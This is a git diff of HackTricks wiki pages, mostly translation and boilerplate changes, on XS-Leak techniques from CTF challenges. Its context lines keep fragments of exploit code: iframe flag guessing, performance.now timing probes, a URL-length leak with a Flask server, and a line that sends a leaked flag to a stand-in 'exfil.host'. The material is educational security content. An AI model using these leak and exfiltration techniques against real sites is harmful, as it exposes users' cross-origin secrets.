* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,16 +1,19 @@
|
|||
# Uvuvi wa Utekelezaji wa JavaScript XS Leak
|
||||
# JavaScript Execution XS Leak
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu uvamizi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, ungependa kuona **kampuni yako ikionekana katika HackTricks**? Au ungependa kupata ufikiaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa muundo wa PDF**? Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **nifuatilie** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za uvamizi kwa kuwasilisha PR kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
```javascript
|
||||
// Code that will try ${guess} as flag (need rest of the server code
|
||||
app.get('/guessing', function(req, res) {
|
||||
|
|
@ -30,7 +33,7 @@ window.parent.foo()
|
|||
res.send(page)
|
||||
});
|
||||
```
|
||||
Ukurasa mkuu ambao unazalisha iframes kwenye ukurasa wa awali wa `/guessing` ili kujaribu kila uwezekano
|
||||
Main page that generates iframes to the previous `/guessing` page to test each possibility
|
||||
```html
|
||||
<html>
|
||||
<head>
|
||||
|
|
@ -75,14 +78,17 @@ hack.innerHTML = iframe
|
|||
</div>
|
||||
</html>
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, ungependa kuona **kampuni yako ikionekana katika HackTricks**? Au ungependa kupata ufikiaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **nifuatilie** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,23 +1,26 @@
|
|||
# performance.now + Kazi nzito ya kulazimisha
|
||||
# performance.now + Force heavy task
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, ungependa kuona **kampuni yako ikionekana katika HackTricks**? Au ungependa kupata ufikiaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa muundo wa PDF**? Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **nifuatilie** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Udanganyifu umetolewa kutoka [https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/](https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/)**
|
||||
**Exploiti ilichukuliwa kutoka [https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/](https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/)**
|
||||
|
||||
Katika changamoto hii, mtumiaji angeweza kutuma maelfu ya herufi na ikiwa bendera ingekuwa imejumuishwa, herufi hizo zingetumwa tena kwa boti. Kwa hivyo, kwa kuweka idadi kubwa ya herufi, mshambuliaji angeweza kupima ikiwa bendera ilikuwa imejumuishwa katika herufi zilizotumwa au la.
|
||||
Katika changamoto hii, mtumiaji angeweza kutuma maelfu ya herufi na ikiwa bendera ilikuwa ndani, herufi hizo zingerejeshwa kwa roboti. Hivyo kuweka idadi kubwa ya herufi, mshambuliaji angeweza kupima ikiwa bendera ilikuwa ndani ya mfuatano wa herufi uliopelekwa au la.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Awali, sikuiweka upana na urefu wa kitu, lakini baadaye niligundua kuwa ni muhimu kwa sababu ukubwa wa chaguo-msingi ni mdogo sana kufanya tofauti katika wakati wa kupakia.
|
||||
Kwanza, sikuweka upana na urefu wa kitu, lakini baadaye, niligundua kuwa ni muhimu kwa sababu saizi ya kawaida ni ndogo sana kuleta tofauti katika muda wa kupakia.
|
||||
{% endhint %}
|
||||
```html
|
||||
<!DOCTYPE html>
|
||||
|
|
@ -114,14 +117,17 @@ main()
|
|||
|
||||
</html>
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, ungependa kuona **kampuni yako ikionekana katika HackTricks**? Au ungependa kupata ufikiaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **nifuatilie** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,16 +1,19 @@
|
|||
# Mfano wa performance.now
|
||||
# performance.now example
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi kuwa bingwa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, ungependa kuona **kampuni yako ikionekana katika HackTricks**? Au ungependa kupata ufikiaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa muundo wa PDF**? Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) maalum.
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **nifuatilie** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Mfano umetolewa kutoka [https://ctf.zeyu2001.com/2022/nitectf-2022/js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/js-api)**
|
||||
```javascript
|
||||
|
|
@ -54,14 +57,17 @@ new Image().src = '//exfil.host/log?' + encodeURIComponent(flag);
|
|||
|
||||
document.addEventListener('DOMContentLoaded', main);
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, ungependa kuona **kampuni yako ikionekana katika HackTricks**? Au ungependa kupata ufikiaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **nifuatilie** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,18 +1,21 @@
|
|||
# Urefu Maksimum wa URL - Upande wa Mteja
|
||||
# URL Max Length - Client Side
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, ungependa kuona **kampuni yako ikionekana katika HackTricks**? Au ungependa kupata ufikiaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa muundo wa PDF**? Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **nifuatilie** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Nambari kutoka [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
|
||||
Code kutoka [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
|
||||
```html
|
||||
<html>
|
||||
<body></body>
|
||||
|
|
@ -48,7 +51,7 @@ await new Promise(resolve => setTimeout(resolve, 50))
|
|||
</script>
|
||||
</html>
|
||||
```
|
||||
Upande wa seva:
|
||||
Server side:
|
||||
```python
|
||||
from flask import Flask, request
|
||||
|
||||
|
|
@ -78,14 +81,17 @@ return open('exploit.html', 'r').read()
|
|||
if __name__ == '__main__':
|
||||
app.run(host='0.0.0.0', port=1337)
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, ungependa kuona **kampuni yako ikionekana katika HackTricks**? Au ungependa kupata ufikiaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **nifuatilie** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,18 +1,23 @@
|
|||
# Kutumia Wafanyakazi wa Huduma
|
||||
# Abusing Service Workers
|
||||
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikionyeshwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
|
@ -20,33 +25,34 @@
|
|||
|
||||
***
|
||||
|
||||
## Taarifa Msingi
|
||||
## Basic Information
|
||||
|
||||
**Mfanyakazi wa huduma** ni skripti inayotekelezwa na kivinjari chako nyuma, tofauti na ukurasa wowote wa wavuti, ikiruhusu vipengele visivyohitaji ukurasa wa wavuti au mwingiliano wa mtumiaji, hivyo kuimarisha uwezo wa **kufanya kazi nje ya mtandao na nyuma ya pazia**. Maelezo kamili kuhusu wafanyakazi wa huduma yanaweza kupatikana [hapa](https://developers.google.com/web/fundamentals/primers/service-workers). Kwa kudukua wafanyakazi wa huduma ndani ya kikoa dhaifu cha wavuti, wadukuzi wanaweza kupata udhibiti juu ya mwingiliano wa mwathiriwa na kurasa zote ndani ya kikoa hicho.
|
||||
